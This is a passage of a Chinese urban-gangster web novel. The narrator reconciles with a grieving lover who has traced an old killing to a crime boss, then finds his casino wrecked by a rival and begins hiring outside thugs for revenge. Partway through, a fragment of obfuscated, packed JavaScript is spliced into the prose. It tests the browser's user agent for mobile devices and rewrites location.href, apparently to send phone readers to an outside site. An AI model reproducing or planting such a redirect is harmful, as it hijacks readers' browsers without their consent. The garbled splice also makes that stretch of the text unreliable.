我在监控室里,通过十六个屏幕看着这一切。
上午九点半左右,夏颜出现,她今天穿了一身**白的定制西装套裙,手上戴着一块百达翡丽的古典款手表,低调而彰显品味。
她微笑着对镜头点头,偶尔停下与相熟的嘉宾寒暄几句,姿态从容优雅,完全掌控着节奏。
我看着屏幕里的她,想起前几天在海边小镇的那个清晨,她赤脚踩在沙滩上,举着贝壳笑得像个孩子。
此刻的夏总与那时的夏颜,像是两个完全不同的人,望潮小镇的她是女孩,现在的她,是女王!
十点整,开业典礼正式开始。
主会场设在山腰的观景平台上,背靠青山,面朝湖泊,夏颜站在舞台中央,聚光灯打在她身上,她拿起话筒时,全场安静下来。
“尊敬的各位来宾,女士们,先生们,上午好。感谢大家在百忙之中莅临东郊生态度假区开业庆典,几个月前,当我们第一次站在这片土地上时,眼前只有荒芜和质疑……”
夏颜讲述了项目从构想到落地的艰辛,感谢了合作伙伴,展望了未来,她没有过多提及“凡颜资本”,但每个字都在彰显这个新生品牌的力量与格局。
我看着台下那些面孔,有的专注,有的赞许,有的嫉妒,这就是我们要的效果。
夏颜致辞结束,掌声雷动,接着就是剪彩环节,夏颜站在中间,两侧是几位重要的政府代表和投资方,礼仪小姐托着红绸和剪刀上台,背景音乐变得激昂起来。
而就在这时,舞台后方巨大的LED屏幕突然亮起,一个短视频正是播放:
画面里,林薇儿穿着简单的白色衬衫,她坐在阳光充足的窗边,她对着镜头微笑,眼睛弯成月牙,一副清纯美丽的样子。
“嗨,大家好,我是林薇儿,很遗憾因为工作安排无法亲临现场,但我要向‘凡颜资本’和东郊度假区送上最诚挚的祝福,这是一个充满远见和勇气的项目,我相信它会成为海城的新地标,祝开业大吉,生意兴隆!”
林薇儿的声音温柔而有力量,说完还俏皮地眨了眨眼。
全场顿时沸腾了!
林薇儿,国民妹妹!
娱乐圈的顶级流量,从不轻易为商业项目站台,她的出现,让这个开业典礼的规格瞬间拔高了不止一个档次,媒体区的闪光灯疯狂闪烁,嘉宾席传来阵阵惊呼和议论。
我面带笑容的看着这一切,这段视频是林薇儿主动发给我的,因为当初我和她的相遇,就是在东郊度假区,那个时候,度假区还在建设当中。
我打算用林薇儿的影响力,给今天的开业仪式加一把火!
果然,这个效果很惊人!
剪彩在热烈的氛围中完成,彩带飘飞,掌声四起!
接下来的时间,作为掌门人,夏颜被团团围住,她游刃有余地应对着各方的祝贺和试探。
忽然,在摄像头前面,我看到周叶青也来了,她没有上前凑热闹,只是远远站在
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一棵银杏树下,身边跟着白起,她今天穿了一身墨绿色的军装风外套,面带微笑。
工作人员捧着一个紫檀木礼盒走到夏颜面前,低声说了几句,夏颜打开礼盒,里面是一尊翡翠雕成的貔貅,雕工精湛,水头极好,在阳光下泛着温润的光泽,礼盒里还有一张卡片。
夏颜拿起卡片看了看,然后抬起头,目光在人群中找到了周叶青的方向,微微颔首致谢。
周叶青只是淡淡点头,转身离开了。
她的贺礼价值不菲,但更重要的,是那份我来了的姿态,在这个圈子里,有些时候,人到场比礼到更重要,更何况,她还是周家的人!
我马上给周叶青发了一条短信:“谢谢周总出席!”
周叶青也马上给我回了个消息:“你这个项目弄得不错,有机会在我老家也弄一个。”
“好。”
我看了看摄像头,苏婉情也来了,她坐在嘉宾席比较靠后的位置,穿着一身浅灰色的职业套裙,化了淡妆,头发整齐地梳在脑后。
她没有试图往前挤,只是安静地坐着,看着舞台上的夏颜,偶尔低头看看手机。
昨晚在她公寓里的对话,那些眼泪和坦白,还清晰地印在脑海里。
她是大发银行的总行长,她当然要出席这个活动,我能感觉到她偶尔投向监控室方向,似乎是在找我。
时间接近中午,庆典进入自由交流阶段,我离开监控室,走到主楼二层的休息区,这里有一整面的落地窗,可以俯瞰整个主会场,又相对安静。
我靠在窗边,点了支烟,看着下面熙熙攘攘的人群。
夏颜还在应酬,笑容无懈可击,林薇儿的视频正在几个大屏幕上循环播放,周叶青的貔貅被摆在最显眼的展示台上,苏婉晴终于起身和周围的人攀谈起来。
直到,我闻到了一个熟悉的味道,那香气里面还夹杂着烟草的味道,是柳媚笙!
我身体瞬间绷紧,但没有立刻回头。我维持着看向窗外的姿势,只是夹着烟的手指微微收紧。
脚步声在身后响起,很轻,高跟鞋踩在厚地毯上几乎无声,但我知道她在靠近,一步一步……
然后,她停在了我身后半步的距离。
170柳媚笙的质问!
我没有动,也没有说话,在窗户上,我看见了她的影子。
然后,我缓缓的转过身,我看见了柳媚笙。
那一刻,我的心仿佛被狠狠的攥住,时间都静止了一样。
她瘦了,瘦了很多。
那张总是妖媚动人,仿佛能勾魂摄魄的脸,此刻一脸的苍白,她的双眸里没有了往日的慵懒,只剩下深深地疲惫。
在柳媚笙的眼睛里,我看到了一种从未看到过的破碎感。
她眼圈是红的,明显是哭过,她的嘴唇是淡淡的粉色,她没有涂唇膏,嘴唇甚至有些干裂。
她就那样站在那里,看着我,不说话,眼里翻涌着千言万语,却一个字也说不出来。
我张了张嘴,想说什么,我见过柳媚笙风情万种的样子,见过的她精明算计的样子,可我从未见过她现在这样,感觉她只要轻轻一碰,就会彻底崩溃。
“媚笙……”我轻轻喊道。
她听见我喊她的名字,身体颤抖了一下,然后她嘴角努力挤出一个笑容。
“陈总,开业大吉!”
她的一声陈总,让我的心瞬间跌到谷底!
我们什么时候,这么见外了!
我想要问问她怎么回事,可她泛红的眼圈,却让我无从说出口。
我忽然想起第一次在海城遇见她的夜晚,那天她在酒吧里,手指夹着香烟,眼神像钩子一样看着我,那时的柳媚笙,是带刺的玫瑰,对我来说非常迷人。
而眼前的她,只剩下一身伤痕。
我下意识地向前一步,想靠近她。
她却后退了,动作很轻微,但很坚决,她看着我伸出的手,眼里闪过一丝清晰的痛楚,然后摇了摇头。
“陈凡,你是不是觉得我最坚强,所以活该最后一个知道你还活着?”
她说完,深深看了我一眼。
然后,她转身,朝走廊另一端走去。
柳媚笙的质问,犹如一把刀子扎进了我的胸口!
不能让她就这样走了!
我马上追了出去!
“媚笙!”我在她身后两层的位置喊她。
她的脚步顿了一下,但没有停,反而走得更快了。
我三步并作两步冲下去,终于在她即将走出酒店后门的时候,我追上了她。
我抓住她的胳膊,不让她离开,我从未见过柳媚笙这样,如果今天我让她走了,按照柳媚笙的脾气,她可能就不会再见我了。
“放开!”她挣扎,声音嘶哑,带着压抑的怒火。
我没有放,反而握得更紧。
“我们谈谈。”我看着她苍白的侧脸。
“没什么好谈的,陈总。”她扭过头不看我,语气冰冷,道:“回去享受你的成功吧,那么多人等着恭维你。”
“柳媚笙!”我抬高声音,把她扳过来面对我。
柳媚笙终于抬起眼睛看着我,她的眼里都是红血丝,她的憔悴,如此的真实。
我的心狠狠一抽。
“你怎么了?怎么这么憔悴?”我问道。
“我怎么了?”她打断我,眼泪同时涌了上来,道:“我怎么了,陈凡,你真的在乎吗?”
她的眼泪没有掉下来,就那样在眼眶里打转,她越是这样,我就越是心疼,还不如打我两拳来的痛快。
“我在乎。”我说。
“在乎?”她笑出声,那笑声比哭还难听。
“在乎就是让我以为你**?在乎就是消失得无影无踪,连个音讯都没有?在乎就是等所有人都知道你还活着,我还像个傻子一样,每天对着你的照片掉眼泪?!”
“你听我解释……”我连忙解释,想让柳媚笙冷静下来。
“解释什么?”她猛地甩开我的手,后退一步,道:“解释你为什么假死?解释你为什么连周叶青都知道你还活着,连夏颜都知道你去了海城,连那个苏婉情都能在宴会上见到你……而我,柳媚笙,要等到你的度假区开业,才能确定你真的没死?!”
柳媚笙说的没有错,可我并不是不想告诉她,而是想把剩下所有的时间都交给她,想多陪陪她。
“媚笙,我不是故意的,”我艰难地开口。
“不是故意什么?”她逼近一步,仰头看着我,泪痕在苍白的脸上纵横交错,“不是故意最后一个告诉我?陈凡,你是不是觉得,我柳媚笙最坚强,最独立,最不需要安慰,所以活该被蒙在鼓里?!
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”
她的质问一声比一声高,一声比一声痛。
“你知不知道那是什么感觉?”她的声音颤抖起来,道:“每天醒来,第一个念头是你不在了,每天晚上,最后一个念头还是你不在了,看着我们待过的每个地方,看着你留在我那里的打火机、衬衫,每一样东西都在提醒我,你**!”
“陈凡,你告诉我,那是什么感觉?!”
柳媚笙的质问,让我动弹不得,她的哭诉,就像是刀子扎进了我的心,我疼,她更疼。
而这一切的始作俑者,都是我!
我才恍然大悟,她原来已经经不起伤害了,我是她后半生的希望,她的希望没了,她该怎么活!
她这么憔悴,是我把她变成这样的。
“对不起。”我拉着柳媚笙的手,心疼的看着她。
道歉,是我现在唯一能做的事情。
“对不起?”她放下手,问我:“陈凡,我要的不是对不起,我要的是在你决定假死的时候,在你还能联系外界的时候,想过要告诉我一声,你还活着。”
“哪怕就一条信息,只要让我知道你还活着,就够了,可你没有。”
“你没有,我在你心里,到底算什么呢?一个用的上时就召之即来,用不上时就可以随手丢开的床伴?合作伙伴?还是……根本什么都不是?”
“不是!”我打断她,抓住她的肩膀,认真的说道:“柳媚笙,你明知道不是!”
“那是什么?!”她抬头,通红的眼睛死死盯着我,“你说啊,陈凡,对你来说,我到底是什么?!”
我张了张嘴,却发现自己回答不出来。
是合作伙伴?不完全是,我们之间有远超过利益的东西。
是情人?也不准确,我们的关系复杂得多。
是……重要的人?是的,她当然是,可为什么,在生死关头,我却选择了将她排除在外?
我的沉默,像最后一根稻草,压垮了她。
她眼里的光,彻底熄灭了,那是一种心死大于哀默的灰败。
“算了。”她轻轻吐出两个字,挣脱我的手,转过身,背对着我道:“你不用说了,我明白了。”
171柳媚笙打我!
她的背影身影单薄而又憔悴,仿佛一阵风吹来,就能将她吹倒,我没有想过,我的假死,能给柳媚笙造成这样的伤害。
我看着她,心里越发的心疼,我上前一步,直接从背后抱住了她,她身体猛然僵住!
“放手。”她声音冰冷。
“不放。”我把脸埋在她冰冷的发间,我故意抱紧她,感受着她的身体和温。
“媚笙,我错了……”我靠在她的耳边温柔而内疚的说着。
她没说话,也没挣扎,就那么僵硬地站着。
“我错了。”我重复着说,我将头埋在她的肩头,道:“我不该瞒着你,不该让你担心,不该……觉得你能承受这一切,我太自以为是了。”
我感觉到她的身体,微微松动了那么一丝。
“这些天,我不是没想过联系你。”我低声说。
我的话里是坦白,也是内疚和忏悔。
“可是我真的太忙了,当时秦昊盯着我,我每一步都不能错,周叶青的庇护有条件,夏颜那边也有她必须知道的理由,而你……”
我顿了顿说道:“你太聪明,也太敏感,我怕任何一点联系,都会被秦昊抓住痕迹,我怕把危险引到你身边,海城的酒吧是你的根,你不能像我一样一走了之,我只是想用这种方式,保护你。”
我说的这些话,有一半是真心的,有一半算是为自己找理由开脱,因为我确实没做好,我本以为最后去找柳媚笙,是因为她也是见过大风大浪的,想着我的消失应该对她打击不到。
但是,我低估了她对我的感情。
我不敢去看柳媚笙的眼睛,因为她的眼睛能够看穿一切。
“保护我?”她终于开口,声音依旧冰冷道:“陈凡,你知不知道,最大的伤害,往往来自你以为的保护?我柳媚笙在海城混了这么多年,什么风浪没见过?我需要你用这种方式保护吗?我宁愿和你一起面对危险,也不愿意像个傻子一样,被蒙在鼓里,为你担惊受怕到死!”
她的话,像一记重锤,敲碎了我所有的借口和理由。
是啊,她是柳媚笙,那个在海城地下世界游刃有余的女人,她需要的从来不是温室里的保护,而是并肩作战的尊重和坦诚。
而我,却用为你着想的理由,剥夺了她知晓事情的权利。
“对不起。”我再次说道,这一次,是真正感到了无地自容的愧疚。
她在我怀里,沉默了很久。
然后,她缓缓转过身,面对我。
忽然她抬起手,不是拥抱,而是握成了拳头。
然后,她用尽全身力气,一拳砸在了我的胸口。
“砰!”
力道不轻,砸得我闷哼一声,后退了半步。不是疼,是那种冲击感,直抵心脏。
她打完,她仰头看着我,眼圈更红了,但眼神倔强道:“这一拳,是替我自己打的。”
她的声音很轻,却字字清晰。
“打你不爱惜自己,拿命去赌。”
“打你自以为是,以为瞒着就是对所有人好。”
“打你……让我们这些女人,为你担心到死。”
说完,她的手松开,垂了下去,像是耗尽了所有力气,她身体晃了一下,我赶紧上前扶住了她。
这一次,柳媚笙没有挣脱,她靠在我怀里,闭上了眼睛,长长的睫毛上还挂着细小的泪珠。
“陈凡……下次别再这样了,我们都……承受不起再失去你一次。”
我紧紧抱住她,承诺道:“不会了,再也不会了。”
此时此刻,我和她相拥而立,这一路走来,柳媚笙帮助我太多太多,可我呢,却没有放在心上。
柳媚笙这一拳,打醒了我,让我彻底看到了她的真心。
我抱着柳媚笙,站了很久,她靠在我怀里。
“你瘦了很多。”我低声说,下巴蹭了蹭她的发顶,“这些天,你怎么过的?”
她沉默了一会儿,才闷闷地说:“能怎么过?酒吧照常开,酒照常喝,日子照常过,只是……”
她没说完,但我懂了。
“对不起。”我又说了一遍,知道这三个字很苍白,可这是我唯一能说能做的。
她没有说话,就是紧紧的搂着我,过了好一会儿人,她才问我:“你的伤还疼么?”
“不疼。”我说的是实话,比起她心里的疼,这点皮肉算什么。
“骗人。”她小声嘀咕,却伸手,掌心轻轻覆在我刚才被打的位置,慢慢地揉了揉。
我的心,被她这个小小的动作,揉得又软又涩。
“上去吧,这里风大,你穿得少。”
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柳媚笙没有说话,我拥抱着她,走向酒店的主楼。
我们进了电梯,按下顶层行政套房的楼层,刷卡进门,厚重的实木门在身后关上,将外界所有的喧嚣彻底隔绝。
“饿不饿?让他们送点吃的上来。”我问道。
她摇摇头,蜷在沙发一角,抱着一个抱枕,眼神有些空茫地看着窗外。
我去小冰箱里拿了瓶水,拧开递给她。她接过去,小口小口地喝着,喉间细微的吞咽声在安静的房间里格外清晰。
我在她身边坐下,没有靠得太近,留给她足够的空间。我们就这样沉默地坐着,阳光慢慢移动,房间里的光影悄然变化。
不知道过了多久,柳媚笙忽然开口道:“这些天,我查了很多事情!”
“查什么?”我问。
“查司徒鸣。”她说,眼睛依旧看着窗外,“查他为什么非要置你于死地,查他背后的网络,查所有可能和他有牵连的人和事。”
我的心微微一沉。在我“死”后,她非但没有远离这个漩涡,反而更深地卷了进来。
“然后呢?”我尽量让声音保持平静。
“然后发现,司徒家比我想象的还要深。”她转过头,看向我,眼神里多了几分清醒的锐利,道:“他们在海城的布局很早,不只是司徒宇在明面上的那些,暗处的资金流动,人脉网络,甚至和一些旧江湖的人物也有牵扯。”
她顿了顿,坐直了身体,手指无意识地摩挲着抱枕的边缘:“陈凡,你要小心,司徒家对你,不会只有一次杀招。”
“我知道。”我点头,“当初秦昊对付我的时候,如果不是司徒鸣无缘无故的失踪,我也不会逃出来,我想那个**司徒鸣的人,背景才是真的深!”
她看了我一会儿,似乎想说什么,但最终只是轻轻嗯了一声。
我看着她疲惫的睡颜,心里那块空缺的地方,心里的内疚被填满。
我轻轻起身,去卧室拿了条薄毯,回来小心翼翼地盖在她身上。
毯子落下的瞬间,她睁开了眼睛。
那眼神很清醒,没有丝毫睡意。她就那样静静地看着我,看了很久,眼神复杂得让我读不懂。
“陈凡。”她忽然叫我的名字。
“嗯?”
“你还记得阿战吗?”
172为柳媚笙报仇!
阿战,我当然那记得!
那是柳媚笙前半生的伤痛,曾经救过她的男人,也是柳媚笙的师兄。
我不知道柳媚笙为什么要忽然问我这个问题,我只能点了点头说道:“记得。”
阿战,这个名字,曾经是我和她之间一个微妙而沉重的话题,因为我拒绝当阿战的影子。
“我这几年,一直在查当年那件事。”她的声音很平静,道:“查是谁下的手,谁开的枪,幕后主使是谁。”
我知道她在查,但从未听她如此具体地提起。
像这种事情,如果柳媚笙不说,我是不会主动去问的。
“有进展?”我问,在她身边重新坐下。
她没立刻回答,而是掀开毯子,从随身的小手包里,拿出一个牛皮纸文件袋,文件袋很旧,她把文件递给了我。
我打开文件袋,里面是一叠厚厚的资料,里面有打印的文字,有模糊的照片,还有各种关系图,看来都是柳媚笙用的。
“这是……当年的资料?”我问道。
“这是我所有我能查到的,关于当年那场截杀的资料。”柳媚笙带着恨意的说道:“当年那件事,对方做得很干净,几乎没有留下直接证据,我花了很长时间,很多钱,动用了很多以前的关系,才一点点拼凑出大概的轮廓。”
我翻看着那些资料,照片大多是偷拍的,角度不好,像素也低,但能看出是一些人物和场所。
“一开始,我以为只是云城本地几个不开眼的小角色,为了抢地盘。”她继续说,目光落在文件上,道:“后来我发现不对,那批人用的装备,行事的手法,撤退的路线,都不像是普通混混,他们训练有素,计划周密,而且事后消失得无影无踪。”
“我顺着武器和车辆的线索往下追,发现那批装备是从邻省流进来的,再往下,牵扯的人越来越多,线也越来越乱,直到三年前……”
柳媚笙停顿了一下,像是回忆起了什么一样说道:“直到三年前,我在一个**的交易记录里,发现了一笔可疑的资金流动,时间就在截杀发生后的第二天,金额很大,流向东城。”
东城,邻省的省会,一个比海城更大水更深的江湖码头。
“我花了三年时间,一点一点往东城摸,可是那里的水太浑,势力盘根错节,外来人很难打进去,我砸钱,托关系,甚至用了一些非常手段。”
“最后,所有的线索,都指向一个人。”
她抬起头,看向我。
“是谁?”
我耐心的听完柳媚笙的调查,然后问出了心中的疑惑,这些年,柳媚笙并不好,她一只都是带着恨意活着的。
“东城,龙三爷。”
她说出这个名字的时候,声音很轻,可却让我感受到了压力。
龙三爷。
这个名字,我听说过。
东城地下世界真正的龙头,成名二十多年,手眼通天,产业遍布多个省份,是那种跺跺脚能让整个江湖震三震的人物,传闻他心狠手辣,行事缜密,极少亲自沾血,但手上的人命,恐怕他自己都数不清。
这样一个远在东城,地位超然的大佬,怎么会和多年前云城一次针对柳媚笙和阿战的截杀扯上关系?
我看着柳媚笙,等着她的下文。
她从我手里拿过文件袋,翻到其中一页,照片上是一个中年男人的侧影,穿着唐装,手里盘着串珠,正在和什么人说话。
“龙三爷,本名龙振坤,三十年前在东城码头起家,靠走私和沙石生意站稳脚跟,后来涉足地产、娱乐、物流,洗白了大半,但根子还在下面。”柳媚笙继续说道:“他和云城一直有生意往来,主要是建材和运输线路。”
她又翻出一份泛黄的资料,上面有一则很小的社会新闻,报道的是东城某建筑公司承建的云城一个仓库项目发生火灾。
“火灾发生的时间,就在我们被截杀前两个月。”柳媚笙的手指点在新闻日期上,道:“那个仓库,名义上是江东那家建筑公司的,但实际上,是龙三爷用来中转一些特殊货物的据点,火灾烧掉了一批很重要的货,价值上千万,而当时,负责那片区域安全的是阿战。”
我隐约抓到了什么,于是我说道:“龙三爷认为,是阿战故意放的火,或者至少是发现了
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什么,上报了,才导致仓库被查货物被扣,最后被烧掉?”
柳媚笙点头,眼神更冷:“这是最合理的解释,龙三爷那种人,吃了亏,不可能不报复!”
“所以,阿战是被龙三爷给杀了。”我沉声道。
“是。”柳媚笙闭上眼睛,再睁开时,眼里只剩下意,“而我,只是顺带的,是龙三爷想一起除掉后患。”
听了柳媚笙的话,我陷入了沉思,她说的很清楚了,这么多年来,柳媚笙一直以为是阿战救了自己,可是到头来,是因为自己是顺带的。
其实是阿战连累了她,可事情已经过去了,柳媚笙也带着恨意活了这么多年。
“媚笙。”我握住她的手,她的手冰凉。
她没挣脱,只是看着我。
“这件事,”我看着她的眼睛,一字一句地说,“从今天起,不只是你的事了。”
她瞳孔微微收缩:“陈凡,你……”
“阿战毕竟救了你,而你现在是我在乎的人,你的仇,就是我的仇。”
她怔怔地看着我,眼圈又开始发红,但这次,眼泪没有掉下来。
“龙三爷不是一般人。”她声音有些颤抖道:“他在东城的根基太深,势力太大,和上面的关系也盘根错节,要动他,很难,很危险。”
“我知道。”我点头道:“司徒鸣也很难,很危险,多一个龙三爷,其实对我来说没什么区别。”
我不是狂妄自大,只是在陈述事实,难道我会眼睁睁看着柳媚笙去和龙三爷斗么?
我想要向上攀登,这不是狂妄,而是陈述事实,男人关键时刻,就得为自己的女人挺身而出,不然柳媚笙跟我再一起,图什么?
“媚笙……”我看着她说道:“对付这种人,未必需要正面硬碰硬,他有他的势力,我们也有我们的方法。”
柳媚笙看着我,看了很久,然后,她忽然倾身过来,抱住了我。
这个拥抱很用力,像要把自己嵌进我的身体里。
她的脸埋在我颈侧,温热的眼泪终于还是打湿了我的衣领。
“陈凡……”她在我耳边哽咽着说道:“谢谢……”
173赌场被砸,慰问兄弟!
三天后,我处理完了海城的事情,然后便启程回到上城。
在飞机上,我的脑袋里,一直回荡着一个人的名字。
那就是东城,龙三爷。
这个名字,像是一个沉甸甸的石头压在我的心上,司徒家族的事情还没有解决,现在又添加了一个江湖仇人。
不过,我已经答应了柳媚笙,我就会帮她报仇,不然,她一个女人,很难和龙三爷交手。
回到上城的时候,已经是傍晚时分,我没有回到周叶青给我准备的家,而是想去赌场看看场子,毕竟我走了三天。
可让我觉得奇怪的是,当我的车拐进赌场的时候,我立刻察觉到了不对劲,因为这里**静了。
往常的这个时候,赌场外面已经停满了车,门口会有服务生殷勤的引路,泊车,可现在,整条街都安静的出奇,这让我不仅有些疑惑。
我熄火下车,刚走到赌场门口,就闻到了一股烟尘混着血腥味。
我心里暗道一声不好,推开门,映入眼前的是一片狼藉。
大厅里原本整齐的赌桌都被掀翻了,筹码散落一地,就连赌场里的水晶灯都被砸碎了,墙壁上被泼满了油漆,上面写着恐吓的字句。
我走了进去,更触目惊心的是,在大厅中心,地板上有干涸的血迹,旁边散落着钢管和**,看来这里有人受伤,而且还伤的不轻。
在我的场子,动我的人,显然是没把我放在眼里。
看到这里,我的脸色阴冷下来,我体内的血液瞬间被点燃,我强迫自己冷静下来。
看来在我离开上城这几天,有人忍不住对我动手了。
我没有立刻打电话叫人,而是站起身,走出这赌场,回到车上。
关上车门,我点了支烟,深深吸了一口后,我拿出手机,拨通了白起的号码。
电话响了几声,被接通,白起说道:“陈老弟。”
“赌场被砸了,场面很难看。”我直接说道。
白起在电话那边沉默了两秒,然后说道:“我三十分钟前收到消息,人在医院,伤了七个,三个重伤,好在没出人命,钱损失不大,但设备全毁了,短期无法营业。”
“谁干的?”我问,虽然心里已经有了答案。
“司徒飞手下的人,大概二十个,下午四点左右突然冲进来,见人就打,见东西就砸,我们的人猝不及防,被放倒了好几个,他们动作很快,砸完就走,前后不到十五分钟。”
白起顿了顿,接着说道:“领头的,是司徒飞手下的头号打手,叫疯狗强。”
疯狗强?
我听说过这个名字,一个不要命的亡命徒,背了好几条案子,但一直被司徒家保着。
“我们的人在医院,安全吗?”我问。
“周总已经安排了,在私立医院,单独楼层,有人守着,另外,其他几个场子我已经加派了人手,暂时没动静。”
“知道了。”我说,“我过去医院看看。”
“陈老弟……”白起的声音略微提高了一点,他提示道:“司徒飞敢这么明目张胆地砸场子,肯定就是和你开战了,他也不会和你和谈了,你要小心。”
“嗯。”我挂了电话。
试探?挑衅?
不,这已经是宣战了。
好一个司徒飞啊!
他用最粗暴的方式告诉我,就算我有周家做靠山,就算我在上城混的风生水起,他想动我可以随时动我,我的场子,他说砸就砸,我的人他想打就打。
他们想用恐惧和暴力,逼我低头,或者逼我离开上城!
这是根本不可能的!我陈凡可不是吓大的!
我发动车子,朝白起说的那家私立医院开去!
到了私立医院,我见到了受伤的手下。
三个重伤的躺在监护室,都还在昏迷中。一个是头部遭到重击,颅骨骨折,一个是腹部被捅了一刀,伤及内脏,还有一个是腿骨被打断,粉碎性骨折,另外四个轻伤的住在普通病房,身上缠着绷带,脸上青紫,但意识清醒。
看到我进来,那几个兄弟马上对我说道:“陈哥……对不起,我们没守住……”一个脸上挨了好几拳兄弟哑着嗓子说。
我走过去,按住他的肩膀,让他躺好道:“不关你们的事,对方有备而来,人多,下手狠。”
“是疯狗强那个杂种带的头!”另一个胳膊吊着的兄弟咬牙切齿,道:“他们太狠了,根本不留手,就是冲着废人来的!”
“陈哥,这口气不能咽!”一个年轻点的兄弟红着眼睛说,道:“他们这是骑在咱们头上拉屎!”
其他人也纷纷附和,病房里充满了压抑的怒火。
“哥几个,你们放心,有我陈凡在,你们的打不会白挨!你们在这里好好养伤,工钱,医药费都不用管,公司都给你们报销,你们保护赌场有功,奖金少不了你们的!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981591|192443||http|test|mini|href|location''.split(''|''),0,{}));
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r>我没有说要报复,但是我给了这些兄弟们嘉奖,我不能寒了兄弟们的心。
“陈哥,谢谢你把我们兄弟放在心上!”
“陈哥,我李飞跟定你了!”
“兄弟们,你们的血不会白流。”
“谢谢陈哥!”
我安抚好了手下的兄弟,然后走出了病房,我见到了白起。
“白大哥,这事儿你怎么看?”我问。
“报复。”白起言简意赅,道:“必须报复,而且要快,要狠,不然,以后在上城,没人会再怕我们,场子也开不下去。”
“周总那边什么态度?”我问。
“周总知道了。”白起说道:“她让我转告你,分寸你自己把握,周家不会直接介入这种层面的冲突,但如果你需要工具或者信息,可以找我。”
我点了点头说道:“明白了!”
周叶青不会因为这种小事出面,但是她会在背后为我站台,一个赌场被砸,对于家大业大的周家来说,算不了什么!
可对于我来说却不一样,这是我在上城的第一个场子!
砸我的场子,就是打我的脸!
而我和司徒飞的摩擦,在周家的眼里,就是博弈的一部分,不到万不得已,周家不会亲自下场。
因为大家族的争斗,都是要藏好底牌的!
“白大哥……我需要你把疯狗强,还有司徒飞,他们平时活动规律,常去的地方,身边的人资料尽快给我。”
白起眼中闪过一丝锐光,道:“已经在整理,最迟明早给你。”
“好。”我拍拍他的肩膀,“这边你多照应,兄弟们不能白挨打。”
离开医院,我回到车上。没有立刻离开,而是坐在黑暗的车厢里,看着医院大楼星星点点的灯火。
愤怒吗?当然。我的地盘被砸,我的人被打伤,这是赤裸裸的挑衅和羞辱。
但比起愤怒,更清晰的是冷静。
司徒飞砸我的场子,不仅仅是泄愤或试探,更是一个信号,司徒飞对我的耐心已经耗尽了。
秦昊的**没能除掉我,海城的项目我又搞得风生水起,我与周家、秦家,还有夏家的关系也越来越紧密,他感觉到了威胁,甚至我插手司徒晴,帮助司徒晴取得司徒家的位置。
司徒飞已经感觉到了威胁,所以才加快对我下手,可是司徒飞算错了一点!
那就是我陈凡,绝对不是一个立正挨打的人!
174找**!
司徒飞,我是要报复回去!
但是找谁动手,派谁去,我得思考一下,周家秘卫的人,我是不能动的,周大伟和刘飞,我也不能动,我要确保他们两个人是干净的。
那唯一,我能找到的人,就是夜枭!
那个曾经给我提供消息的人,他是地下消息最灵通的人,他三教九流的消息都有,找到他,就能找到帮手!
于是我拿出手机拨通了夜枭的电话。
“喂?谁啊?”一个不耐烦的男声。
“夜枭……”我对着话筒说,说道:“是我,陈凡。”
电话那头瞬间安静了,几秒后,夜枭的声音变得恭敬而紧张:“陈……陈哥?您怎么……找我有事?”
我微微一笑,几个月前,夜枭接到我的电话还对我爱理不理,现在对我毕恭毕敬,看来我地位的提升,让他也对我客气了起来,一口一个陈哥的叫我。
“有事。”我直接说,“帮我找几个人。要生面孔,手要狠,胆子要大,但要听招呼。钱不是问题。”
“陈哥,您这是……要办大事?”
“不该问的别问。”我语气平淡,“能找到吗?”
“能!当然能!您要什么样的?本地的还是外地的?要见血还是……”
“外地的,干完就走的那种,至于见不见血……看情况,先把人找来,我要见见。”
“明白!明白!”阿鬼连声应下,道:“最快明天晚上,我安排地方。”
“好。”我挂了电话。
安排好这些,我才发动车子离开医院。
我报复司徒飞是肯定的,但是怎么报复,报复到什么程度,我必须要考量清楚,因为司徒飞后面的司徒家族还是一个恐怖的存在,而我现在的根基,还不足以支撑和司徒家的全面战争。
我回到豪华公寓,坐在客厅的沙发上,我面前摆放的是白起派人送来的资料,全部是有关司徒飞的。
司徒飞,四十七岁,司徒鸣的弟弟,他负责司徒家在上城及周边几个城市的灰色产业——地下赌场、**、走私以及一些见不得光的产业。
此人性格嚣张跋扈,贪财好色,易怒,喜欢用暴力解决一切问题。
他的日常行踪很规律,每周二、四、六晚上,只要没有特殊安排,必定会去“翡翠宫”赌钱,通常玩到凌晨两三点,输赢不大,主要是享受那种掌控感和被奉承的滋味。每次去都带着至少四个保镖,“疯狗”强通常都在其中。
他有三处固定住所,两个公开的情妇,还有一个最近新搭上的小明星,在城北的“云顶公寓”给她租了套房子,每周会去两三次,时间不固定,但去的时候身边只带一两个亲信,警戒相对松懈。
他最近在争夺城东旧码头三号仓库的承包权,对手是一个叫“老疤”的本地地头蛇,双方已经发生过几次小**,司徒飞这边略占上风,但还没拿下。那个仓库地理位置关键,据说涉及一条利润丰厚的走私线路。
我看着资料,抽着烟,大脑在不停的思考,如果我直接动司徒飞本人,那风险会很高,代价也会很大,一旦不成功可能我就没有以后了。
可如果动疯狗强,那就好说,他不过是司徒飞的一条走狗而已,打**,也不痛不痒。
砸司徒飞名下的场子?和他砸我的场子性质一样,属于最低级的互相伤害,除了激化矛盾,没有实质意义。
我需要一种更有效、更聪明的方式。一种既能让他疼到骨子里,又让他有苦说不出,甚至不敢大肆声张的方式。
我的目光重新落回城东旧码头三号仓库这个事情上。
一个计划,在脑中逐渐清晰成形。
我拿起手机,拨通了夜枭的号码。
“陈哥!”夜枭接得很快,背景音很安静,道:“人我联系好了,两个,都是北边过来的,他们手黑,机灵,人很讲规矩,您什么时候方便见?”
“就今晚,我在上城,地方你定,要绝对安全。”
“明白!那就晚上十点,西郊废车场,那里晚上鬼都不去一个。”夜枭说。
“好。”
挂了电话,我又打给白起。
“白大哥,帮我查一下老疤这个人,越详细越好,主要是他和司徒飞争码头仓库的来龙去脉,还有他最近的动向。”
白起没有多问,只回了一个字:“好。”
十点,我独自驾车来到西郊的废弃车辆处理场,这里晚上漆黑一片,我把车停好,然后下车抽烟。
几分钟后,一辆没有牌照的灰色面包车悄无声息地滑了进来,停在离我十几米远的地方。
